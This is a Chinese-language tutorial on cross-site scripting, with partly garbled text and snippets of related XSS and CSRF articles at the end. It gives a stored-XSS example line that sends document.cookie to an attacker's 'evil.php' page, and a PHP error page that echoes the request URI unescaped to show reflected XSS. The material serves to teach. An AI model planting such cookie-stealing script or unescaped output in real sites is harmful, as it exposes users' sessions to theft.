xss攻擊的全稱是cross-site scripting (xss)攻擊,是一種注入式攻擊。基本的做法是把惡意**注入到目標**。由於瀏覽器在開啟目標**的時候並不知道哪些指令碼是惡意的,所以瀏覽器會無差別執行惡意指令碼,從而導致使用者資訊和一些敏感資訊被盜取和洩漏。
xss一般分為兩種型別,持久化的xss和非持久化的xss。
下面這個例子演示了攻擊者如何通過注入惡意**去盜取使用者的cookie的。
假設攻擊者在某個論壇發了個帖子,在帖子裡包含了如下的惡意**
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
script>
那麼其他使用者在瀏覽這個帖子的時候,上面的**就會被瀏覽器執行,從而將使用者的cookie資訊傳送到了/evil.php?
,這個攻擊者搭建的惡意站點。由於cookie裡包含了使用者的一些登入態和敏感資訊,所以訪問這個帖子的使用者會面臨被盜號的風險。
還原一下這次攻擊的過程
上面的例子攻擊**持久化在了資料庫裡,非持久化的攻擊則不需要這樣,看下面的例子。
假設我們有這樣的乙個錯誤頁面,用php實現的
<? php
print "not found: " . urldecode($_server["request_uri"]);
?>
當使用者訪問的頁面不存在時候,上面的頁面會自動載入,並且print "not found: " . urldecode($_server["request_uri"]);
這一行會列印出不存在頁面的具體url。
舉個例子,當使用者訪問www.example.com/page_missing頁面時,由於page_missing頁面不存在,所以example.com會自動跳轉到page_missing路徑,並在頁面上列印出not found: page_missing
字串。
如果攻擊者構造了這樣乙個鏈結,誘導使用者訪問,那麼普通使用者訪問該鏈結時,因為
/
會被列印在頁面上並當作普通指令碼執行,這樣一來,如果攻擊者構造的指令碼裡包含獲取使用者敏感資訊的**,那麼使用者的資訊將被洩漏。
還原一下這次攻擊的過程
xss攻擊是目前最常見的web攻擊形式,大家可以通過上面的例子管中窺豹一下,其核心的攻擊方式是惡意**注入,瀏覽器將注入的**當成普通指令碼正常執行。
web安全 XSS攻擊
xss xss,即為 cross site scripting 中文名為跨站指令碼 不使用css縮寫是為了與層疊樣式表區分 是發生在目標使用者的瀏覽器層面上的,當渲染dom樹的過程成執行了不在預期內的js 時,就發生了xss攻擊。xss分為反射型xss,儲存型xss和dom xss 1 反射型xss...
web安全(xss攻擊和csrf攻擊)
1 csrf攻擊 csrf cross site request forgery 跨站請求偽造。1 攻擊原理 如上圖,在b 引誘使用者訪問a 使用者之前登入過a 瀏覽器 cookie 快取了身份驗證資訊 通過呼叫a 的介面攻擊a 2 防禦措施 1 token驗證 登陸成功後伺服器下發token令牌存...
web安全防範之XSS漏洞攻擊
原文出處 url 這篇部落格也不錯 url 通常會遇到的攻擊 攻擊方法也很多 原理 向網頁內注入可執行 從而達到入侵目的。危害 破壞頁面結構,導致頁面顯示問題 更嚴重的會盜取當前使用者的cookie,導致你的賬號被盜等 function escape html t n n t n 0 g var s...